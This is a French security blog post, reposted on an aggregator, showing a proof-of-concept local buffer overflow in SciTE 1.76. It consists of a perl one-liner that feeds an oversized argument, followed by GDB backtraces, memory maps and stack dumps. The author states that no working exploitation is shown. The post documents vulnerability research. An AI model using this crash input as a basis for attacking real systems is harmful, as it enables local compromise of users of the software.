|
|
|
Scite Text Editor 1.76 PoC Local BoF vulnerability 0 - Days |
Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Scite Text Editor 1.76 PoC Local BoF vulnerability 0 - Days Par kmkz's blogLe [2010-07-06] à 00:57:24
Présentation : Me revoila P Je sais que j'ai pas mal zappé ce blog depuis quelques mois , néanmoins j'espere pouvoir m'y remettre entre 2 CTF .. Bref, osef d'ma vie , place a la présentation , certe rapide , mais néanmoins simpa bien que trés trés incomplete du Buffer Overflow que j'ai eu l'occasion de découvrir dans la version 1.76 de Scite text Editor . L'environnement d'audit est un 2.6.31-22 , néanmoins , les essais effectués sur des versions antérieures donne d'autres résultats assez surprenant . Cet article ne présentera qu'uniquement quelques dumps démontrant la vulnérabilité sans pour autant l'exploiter l'exploitation aparaitra ici peu etre d'ici pas mal de temps , j'y reviendrait. Place a quelques dump issus de GNU gdb GDB 7.0 r perl -e'print A x4096 . x90 x90 x90 x90 ' Starting program usr bin scite perl -e'print A x4096 . x90 x90 x90 x90 ' Thread debugging using libthread_db enabled buffer overflow detected usr bin scite terminated Backtrace lib tls i686 cmov libc.so.6 fortify_fail 0x48 0x9c7008 lib tls i686 cmov libc.so.6 0x9c6040 lib tls i686 cmov libc.so.6 strcpy_chk 0x44 0x9c53b4 dump objdump plus bas usr bin scite 0x8082a71 usr bin scite 0x8083751 usr bin scite 0x805b59c usr bin scite 0x8079382 usr bin scite 0x8070944 usr bin scite 0x805dc32 usr bin scite 0x805dd8a lib tls i686 cmov libc.so.6 libc_start_main 0xe6 0x8fcb56 usr bin scite 0x8052d41 Memory map 00110000-0012b000 r-xp 00000000 08 01 146 lib ld-2.10.1.so 0012b000-0012c000 r--p 0001a000 08 01 146 lib ld-2.10.1.so 0012c000-0012d000 rw-p 0001b000 08 01 146 lib ld-2.10.1.so 0012d000-0012e000 r-xp 00000000 00 00 0 vdso 0012e000-004e6000 r-xp 00000000 08 01 262811 usr lib libgtk-x11-2.0.so.0.1800.3 004e6000-004e7000 ---p 003b8000 08 01 262811 usr lib libgtk-x11-2.0.so.0.1800.3 004e7000-004eb000 r--p 003b8000 08 01 262811 usr lib libgtk-x11-2.0.so.0.1800.3 004eb000-004ed000 rw-p 003bc000 08 01 262811 usr lib libgtk-x11-2.0.so.0.1800.3 004ed000-004ef000 rw-p 00000000 00 00 0 004ef000-00581000 r-xp 00000000 08 01 262814 usr lib libgdk-x11-2.0.so.0.1800.3 00581000-00583000 r--p 00092000 08 01 262814 usr lib libgdk-x11-2.0.so.0.1800.3 00583000-00584000 rw-p 00094000 08 01 262814 usr lib libgdk-x11-2.0.so.0.1800.3 00584000-0059f000 r-xp 00000000 08 01 263706 usr lib libatk-1.0.so.0.2809.1 0059f000-005a0000 r--p 0001b000 08 01 263706 usr lib libatk-1.0.so.0.2809.1 005a0000-005a1000 rw-p 0001c000 08 01 263706 usr lib libatk-1.0.so.0.2809.1 005a1000-005b9000 r-xp 00000000 08 01 262816 usr lib libgdk_pixbuf-2.0.so.0.1800.3 005b9000-005ba000 r--p 00017000 08 01 262816 usr lib libgdk_pixbuf-2.0.so.0.1800.3 005ba000-005bb000 rw-p 00018000 08 01 262816 usr lib libgdk_pixbuf-2.0.so.0.1800.3 005bb000-005c6000 r-xp 00000000 08 01 264322 usr lib libpangocairo-1.0.so.0.2600.0 005c6000-005c7000 r--p 0000a000 08 01 264322 usr lib libpangocairo-1.0.so.0.2600.0 005c7000-005c8000 rw-p 0000b000 08 01 264322 usr lib libpangocairo-1.0.so.0.2600.0 005c8000-0060e000 r-xp 00000000 08 01 264320 usr lib libpango-1.0.so.0.2600.0 0060e000-0060f000 r--p 00045000 08 01 264320 usr lib libpango-1.0.so.0.2600.0 0060f000-00610000 rw-p 00046000 08 01 264320 usr lib libpango-1.0.so.0.2600.0 00610000-00687000 r-xp 00000000 08 01 262362 usr lib libcairo.so.2.10800.8 00687000-00689000 r--p 00076000 08 01 262362 usr lib libcairo.so.2.10800.8 00689000-0068a000 rw-p 00078000 08 01 262362 usr lib libcairo.so.2.10800.8 0068a000-006c6000 r-xp 00000000 08 01 263053 usr lib libgobject-2.0.so.0.2200.3 006c6000-006c7000 r--p 0003b000 08 01 263053 usr lib libgobject-2.0.so.0.2200.3 006c7000-006c8000 rw-p 0003c000 08 01 263053 usr lib libgobject-2.0.so.0.2200.3 006c8000-006cb000 r-xp 00000000 08 01 263054 usr lib libgmodule-2.0.so.0.2200.3 006cb000-006cc000 r--p 00002000 08 01 263054 usr lib libgmodule-2.0.so.0.2200.3 006cc000-006cd000 rw-p 00003000 08 01 263054 usr lib libgmodule-2.0.so.0.2200.3 006cd000-006cf000 r-xp 00000000 08 01 268014 lib tls i686 cmov libdl-2.10.1.so 006cf000-006d0000 r--p 00001000 08 01 268014 lib tls i686 cmov libdl-2.10.1.so 006d0000-006d1000 rw-p 00002000 08 01 268014 lib tls i686 cmov libdl-2.10.1.so 006d1000-006d5000 r-xp 00000000 08 01 263055 usr lib libgthread-2.0.so.0.2200.3 006d5000-006d6000 r--p 00003000 08 01 263055 usr lib libgthread-2.0.so.0.2200.3 006d6000-006d7000 rw-p 00004000 08 01 263055 usr lib libgthread-2.0.so.0.2200.3 006d7000-006de000 r-xp 00000000 08 01 268027 lib tls i686 cmov librt-2.10.1.so 006de000-006df000 r--p 00006000 08 01 268027 lib tls i686 cmov librt-2.10.1.so 006df000-006e0000 rw-p 00007000 08 01 268027 lib tls i686 cmov librt-2.10.1.so 006e0000-00795000 r-xp 00000000 08 01 972 lib libglib-2.0.so.0.2200.3 00795000-00796000 r--p 000b4000 08 01 972 lib libglib-2.0.so.0.2200.3 00796000-00797000 rw-p 000b5000 08 01 972 lib libglib-2.0.so.0.2200.3 00797000-0087d000 r-xp 00000000 08 01 262987 usr lib libstdc .so.6.0.13 0087d000-00881000 r--p 000e6000 08 01 262987 usr lib libstdc .so.6.0.13 00881000-00882000 rw-p 000ea000 08 01 262987 usr lib libstdc .so.6.0.13 00882000-00889000 rw-p 00000000 00 00 0 00889000-008ad000 r-xp 00000000 08 01 268015 lib tls i686 cmov libm-2.10.1.so 008ad000-008ae000 r--p 00023000 08 01 268015 lib tls i686 cmov libm-2.10.1.so 008ae000-008af000 rw-p 00024000 08 01 268015 lib tls i686 cmov libm-2.10.1.so 008af000-008cb000 r-xp 00000000 08 01 546 lib libgcc_s.so.1 008cb000-008cc000 r--p 0001b000 08 01 546 lib libgcc_s.so.1 008cc000-008cd000 rw-p 0001c000 08 01 546 lib libgcc_s.so.1 008cd000-008e2000 r-xp 00000000 08 01 268025 lib tls i686 cmov libpthread-2.10.1.so 008e2000-008e3000 r--p 00014000 08 01 268025 lib tls i686 cmov libpthread-2.10.1.so 008e3000-008e4000 rw-p 00015000 08 01 268025 lib tls i686 cmov libpthread-2.10.1.so 008e4000-008e6000 rw-p 00000000 00 00 0 008e6000-00a24000 r-xp 00000000 08 01 265728 lib tls i686 cmov libc-2.10.1.so 00a24000-00a25000 ---p 0013e000 08 01 265728 lib tls i686 cmov libc-2.10.1.so 00a25000-00a27000 r--p 0013e000 08 01 265728 lib tls i686 cmov libc-2.10.1.so 00a27000-00a28000 rw-p 00140000 08 01 265728 lib tls i686 cmov libc-2.10.1.so 00a28000-00a2b000 rw-p 00000000 00 00 0 00a2b000-00b55000 r-xp 00000000 08 01 263622 usr lib libX11.so.6.2.0 00b55000-00b56000 ---p 0012a000 08 01 263622 usr lib libX11.so.6.2.0 00b56000-00b57000 r--p 0012a000 08 01 263622 usr lib libX11.so.6.2.0 00b57000-00b59000 rw-p 0012b000 08 01 263622 usr lib libX11.so.6.2.0 00b59000-00b5a000 rw-p 00000000 00 00 0 00b5a000-00b5c000 r-xp 00000000 08 01 263633 usr lib libXcomposite.so.1.0.0 00b5c000-00b5d000 r--p 00001000 08 01 263633 usr lib libXcomposite.so.1.0.0 00b5d000-00b5e000 rw-p 00002000 08 01 263633 usr lib libXcomposite.so.1.0.0 00b5e000-00b60000 r-xp 00000000 08 01 263637 usr lib libXdamage.so.1.1.0 00b60000-00b61000 rw-p 00001000 08 01 263637 usr lib libXdamage.so.1.1.0 00b61000-00b65000 r-xp 00000000 08 01 263643 usr lib libXfixes.so.3.1.0 00b65000-00b66000 r--p 00003000 08 01 263643 usr lib libXfixes.so.3.1.0 00b66000-00b67000 rw-p 00004000 08 01 263643 usr lib libXfixes.so.3.1.0 00b67000-00bfa000 r-xp 00000000 08 01 263056 usr lib libgio-2.0.so.0.2200.3 00bfa000-00bfb000 r--p 00092000 08 01 263056 usr lib libgio-2.0.so.0.2200.3 00bfb000-00bfc000 rw-p 00093000 08 01 263056 usr lib libgio-2.0.so.0.2200.3 00bfc000-00bfd000 rw-p 00000000 00 00 0 00bfd000-00c24000 r-xp 00000000 08 01 264324 usr lib libpangoft2-1.0.so.0.2600.0 Program received signal SIGABRT, Aborted. 0x0012d422 in __kernel_vsyscall Screen 0x0012d000 VDSO , ça peut etre utile dans le cas de certaines exploitation gdb x 79s eip 0x12d422 0x12d424 .shstrtab 0x12d42e .hash 0x12d434 .dynsym 0x12d43c .dynstr 0x12d444 .gnu.version 0x12d451 .gnu.version_d 0x12d460 .note 0x12d466 .eh_frame_hdr 0x12d474 .eh_frame 0x12d47e .dynamic 0x12d487 .data 0x12d48d .text 0x12d493 Comme on peux le constater , le programme est stoppé brutalement suite a un débordement de tampon , essayons donc d'y voir plus clair gdb i stack 0 0x0012d422 in __kernel_vsyscall 1 0x009104d1 in GI_raise sig 6 at .. nptl sysdeps unix sysv linux raise.c 64 2 0x00913932 in GI_abort at abort.c 92 3 0x00946fc5 in __libc_message do_abort 2, fmt 0xa0881d pourcentss pourcentss terminated n at .. sysdeps unix sysv linux libc_fatal.c 189 4 0x009c7008 in GI___fortify_fail msg 0xa087c7 buffer overflow detected at fortify_fail.c 32 5 0x009c6040 in GI___chk_fail at chk_fail.c 29 6 0x009c536a in __strcat_chk dest 0xbfff4734 home kmkz 0Days Scite_1.76 , 'A' , stack_end 0xbfffb51c at libc-start.c 220 14 0x08052d41 in gdb i auxv 32 AT_SYSINFO Special system info entry points 0x12d420 33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x12d000 16 AT_HWCAP Machine-dependent CPU capability hints 0xbfebf3ff 6 AT_PAGESZ System page size 4096 17 AT_CLKTCK Frequency of times 100 3 AT_PHDR Program headers for program 0x8048034 4 AT_PHENT Size of program header entry 32 5 AT_PHNUM Number of program headers 9 7 AT_BASE Base address of interpreter 0x110000 8 AT_FLAGS Drapeaux 0x0 9 AT_ENTRY Entry point of program 0x8052d20 11 AT_UID Real user ID 1000 12 AT_EUID Effective user ID 1000 13 AT_GID Real group ID 1000 14 AT_EGID Effective group ID 1000 23 AT_SECURE Boolean, was exec setuid-like 0 25 AT_RANDOM Address of 16 random bytes 0xbfffb66b -- allons voir ce cet offset contient 31 AT_EXECFN File name of executable 0xbfffffed usr bin scite 15 AT_PLATFORM String identifying platform 0xbfffb67b i686 0 AT_NULL End of vector 0x0 gdb x 48x 0xbfffb66b 0xbfffb66b 0x8a29b215 0x563d86b0 0xe525c77b 0x1a1921ee 0xbfffb67b 0x36383669 0x00000000 0x00000000 0x7273752f 0xbfffb68b 0x6e69622f 0x6963732f 0x41006574 0x41414141 0xbfffb69b 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6ab 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6bb 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6cb 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6db 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6eb 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6fb 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb70b 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb71b 0x41414141 0x41414141 0x41414141 0x41414141 ... Nos A ... 0xbffff66b 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff67b 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff68b 0x41414141 0x41414141 0x00414141 0x4942524f 0xbffff69b 0x4f535f54 0x54454b43 0x3d524944 0x706d742f 0xbffff6ab 0x62726f2f 0x6b2d7469 0x007a6b6d 0x5f485353 0xbffff6bb 0x4e454741 0x49505f54 0x34313d44 0x47003033 13 0x008fcb56 in __libc_start_main main 0x805dca1, argc 2, ubp_av 0xbfffb524, init 0x8106380, fini 0x8106370, rtld_fini 0x11dd20 , stack_end 0xbfffb51c at libc-start.c 220 Si on look a quelques offsets pret , on s'apperçois que nos x41 se retrouve bien sur la stack grace a stack_end et la ligne 25 AT_RANDOM Address of 16 random bytes 0xbfffb66b ..... entre autre Début des x41 a l'offset de fin de la stack 350 octets soit 350 octets plus haut , la pile croit vers les adresses basses On peux néanmoins déduire qu'il ne s'agit pas d'un cas classique de stack overflow car aucun registre n'est réécrit pas d'EIP saved avant l'appel de fonction . Une de mes intuitions me poussa donc a déposer un breakpoint sur l'offset correspondant au début de la section .dtors puis .ctors la .dtors ne donnant rien ... breakpoint sur .ctors r The program being debugged has been started already. Start it from the beginning y or n y Starting program usr bin scite perl -e'print A x4096' Thread debugging using libthread_db enabled Program received signal SIGSEGV, Segmentation fault. 0x0810643b in crash a l'appel de la .ctors J'avoue que je suis assez perplexe , et que l'exploitation ne sera pas des plus easy , mais d'autres pistes ont germés depuis ces dumps - et puis c'est tout l'intéret aprés tout . J'espere que cette petite presentation de mon PoC concernant Scite 1.76 vous donnera envie de voir la suite un jour peu etre qui sait . Link du PoC
Les mots clés de la revue de presse pour cet article : local vulnerability Les videos sur SecuObs pour les mots clés : local vulnerability Les éléments de la revue Twitter pour les mots clé : local vulnerability
Les derniers articles du site "kmkz's blog" :
- Scite Text Editor 1.76 PoC Local BoF vulnerability 0 - Days - Manifeste pour la création d'une organisation hacker en France - Au commencement .... - Utilisations avancées de Hping2 - Shellcode et Port Binder en ASM x86 32 Bits - Local Stack Overflow Exploitation - Création d'un meeting 2600 a Nimes 30 - Win. XP patched Local Privilèges Escalation - Initiation aux bases du Reversing - Return Into Libc
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.191.75.173 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.191.75.173 to any 80"
- Nous contacter par mail
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|